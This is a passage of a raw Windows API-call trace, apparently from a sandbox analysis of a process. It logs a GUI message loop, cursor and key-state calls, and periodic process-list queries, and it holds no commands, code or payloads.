DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0237.038] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0237.038] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0237.038] WaitMessage () returned 1 [0237.385] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0237.385] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0237.385] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x10160, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0237.385] NtdllDefWindowProc_W () returned 0x1 [0237.386] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0237.386] WaitMessage () returned 1 [0237.568] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0237.568] IsWindowUnicode (hWnd=0x10166) returned 1 [0237.568] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0237.568] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0237.568] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0237.568] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0237.569] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0237.569] WaitMessage () returned 1 [0237.974] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0237.974] IsWindowUnicode (hWnd=0x1015c) returned 1 [0237.974] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0237.974] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0237.974] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0237.975] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x7520) returned 0x0 [0237.977] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0237.977] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0237.978] WaitMessage () returned 1 [0238.099] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0238.099] IsWindowUnicode (hWnd=0x10166) returned 1 [0238.099] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0238.099] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0238.099] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0238.099] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0238.099] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0238.099] WaitMessage () returned 1 [0238.629] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0238.629] IsWindowUnicode (hWnd=0x10166) returned 1 [0238.629] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0238.629] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0238.629] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0238.630] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0238.630] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0238.630] WaitMessage () returned 1 [0239.160] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0239.160] IsWindowUnicode (hWnd=0x10166) returned 1 [0239.160] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0239.160] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0239.160] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0239.160] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0239.160] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0239.160] WaitMessage () returned 1 [0239.690] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0239.690] IsWindowUnicode (hWnd=0x10166) returned 1 [0239.690] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0239.690] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0239.690] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0239.691] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0239.691] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0239.691] WaitMessage () returned 1 [0239.987] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0239.987] IsWindowUnicode (hWnd=0x1015c) returned 1 [0239.987] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0239.987] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0239.987] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0239.987] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x74e0) returned 0x0 [0239.990] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0239.990] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0239.990] WaitMessage () returned 1 [0240.221] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0240.221] IsWindowUnicode (hWnd=0x10166) returned 1 [0240.221] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0240.221] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0240.221] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0240.221] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0240.221] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0240.221] WaitMessage () returned 1 [0240.395] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0240.395] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x84, wParam=0x0, lParam=0x2560214) returned 0x1 [0240.396] IsWindowUnicode (hWnd=0x10166) returned 1 [0240.396] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0240.396] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x84, wParam=0x0, lParam=0x2560214) returned 0x1 [0240.396] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x20, wParam=0x10166, lParam=0x2000001) returned 0x1 [0240.397] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x20, wParam=0x10166, lParam=0x2000001) returned 0x0 [0240.401] LoadCursorW (hInstance=0x0, lpCursorName=0x7f01) returned 0x10005 [0240.402] SetCursor (hCursor=0x10005) returned 0x10005 [0240.402] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0240.402] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0240.402] _TrackMouseEvent (in: lpEventTrack=0x2cd9ae4 | out: lpEventTrack=0x2cd9ae4) returned 1 [0240.402] SendMessageW (hWnd=0x10166, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0240.402] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0240.402] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x200, wParam=0x0, lParam=0x67001d) returned 0x0 [0240.403] SendMessageW (hWnd=0x10166, Msg=0x204e, wParam=0x10166, lParam=0xb6e410) returned 0x0 [0240.403] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x204e, wParam=0x10166, lParam=0xb6e410) returned 0x0 [0240.403] GetKeyState (nVirtKey=1) returned 0 [0240.403] GetKeyState (nVirtKey=2) returned 0 [0240.403] GetKeyState (nVirtKey=4) returned 0 [0240.403] GetKeyState (nVirtKey=5) returned 0 [0240.403] GetKeyState (nVirtKey=6) returned 0 [0240.404] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0240.404] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0240.404] WaitMessage () returned 1 [0240.502] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0240.502] IsWindowUnicode (hWnd=0x10166) returned 1 [0240.502] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0240.502] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0240.502] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0240.502] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0240.502] IsWindowUnicode (hWnd=0x10166) returned 1 [0240.502] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0240.502] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0240.502] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0240.502] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x2a1, wParam=0x0, lParam=0x67001d) returned 0x0 [0240.502] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0240.502] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0240.502] WaitMessage () returned 1 [0240.751] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0240.751] IsWindowUnicode (hWnd=0x10166) returned 1 [0240.751] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0240.751] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0240.751] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0240.751] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0240.751] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0240.751] WaitMessage () returned 1 [0241.281] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0241.281] IsWindowUnicode (hWnd=0x10166) returned 1 [0241.282] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0241.282] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0241.282] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0241.282] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0241.282] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0241.282] WaitMessage () returned 1 [0241.410] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0241.410] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0241.410] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0241.410] IsWindowUnicode (hWnd=0x10166) returned 1 [0241.410] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0241.410] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0241.410] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0241.410] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0241.411] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0241.411] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0241.411] WaitMessage () returned 1 [0241.812] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0241.812] IsWindowUnicode (hWnd=0x10166) returned 1 [0241.812] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0241.812] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0241.812] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0241.812] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0241.812] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0241.812] WaitMessage () returned 1 [0242.000] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0242.000] IsWindowUnicode (hWnd=0x1015c) returned 1 [0242.000] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0242.000] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0242.000] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0242.001] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x74a0) returned 0x0 [0242.011] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0242.011] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0242.011] WaitMessage () returned 1 [0242.350] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0242.350] IsWindowUnicode (hWnd=0x10166) returned 1 [0242.350] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0242.350] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0242.350] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0242.351] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0242.351] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0242.351] WaitMessage () returned 1 [0242.872] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0242.872] IsWindowUnicode (hWnd=0x10166) returned 1 [0242.873] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0242.873] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0242.873] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0242.873] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0242.873] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0242.873] WaitMessage () returned 1 [0243.403] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0243.403] IsWindowUnicode (hWnd=0x10166) returned 1 [0243.403] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0243.403] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0243.403] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0243.404] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0243.404] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0243.404] WaitMessage () returned 1 [0243.936] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0243.936] IsWindowUnicode (hWnd=0x10166) returned 1 [0243.936] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0243.936] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0243.936] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0243.936] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0243.936] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0243.936] WaitMessage () returned 1 [0244.011] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0244.011] IsWindowUnicode (hWnd=0x1015c) returned 1 [0244.011] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0244.011] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0244.011] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0244.011] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x7460) returned 0x0 [0244.014] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0244.014] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0244.014] WaitMessage () returned 1 [0244.452] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0244.452] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x84, wParam=0x0, lParam=0x22702f8) returned 0x1 [0244.453] IsWindowUnicode (hWnd=0x1015e) returned 1 [0244.453] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0244.453] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x84, wParam=0x0, lParam=0x22702f8) returned 0x1 [0244.453] SetCursor (hCursor=0x10003) returned 0x10005 [0244.453] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0244.453] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0244.453] _TrackMouseEvent (in: lpEventTrack=0x2b062f4 | out: lpEventTrack=0x2b062f4) returned 1 [0244.453] SendMessageW (hWnd=0x1015e, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0244.453] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0244.453] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x200, wParam=0x0, lParam=0x1500112) returned 0x0 [0244.454] GetKeyState (nVirtKey=1) returned 0 [0244.454] GetKeyState (nVirtKey=2) returned 0 [0244.454] GetKeyState (nVirtKey=4) returned 0 [0244.454] GetKeyState (nVirtKey=5) returned 0 [0244.454] GetKeyState (nVirtKey=6) returned 0 [0244.454] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0244.454] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0244.454] WaitMessage () returned 1 [0244.464] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0244.464] IsWindowUnicode (hWnd=0x10166) returned 1 [0244.464] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0244.464] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0244.464] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0244.464] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0244.464] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0244.464] WaitMessage () returned 1 [0244.558] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0244.558] IsWindowUnicode (hWnd=0x1015e) returned 1 [0244.558] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, 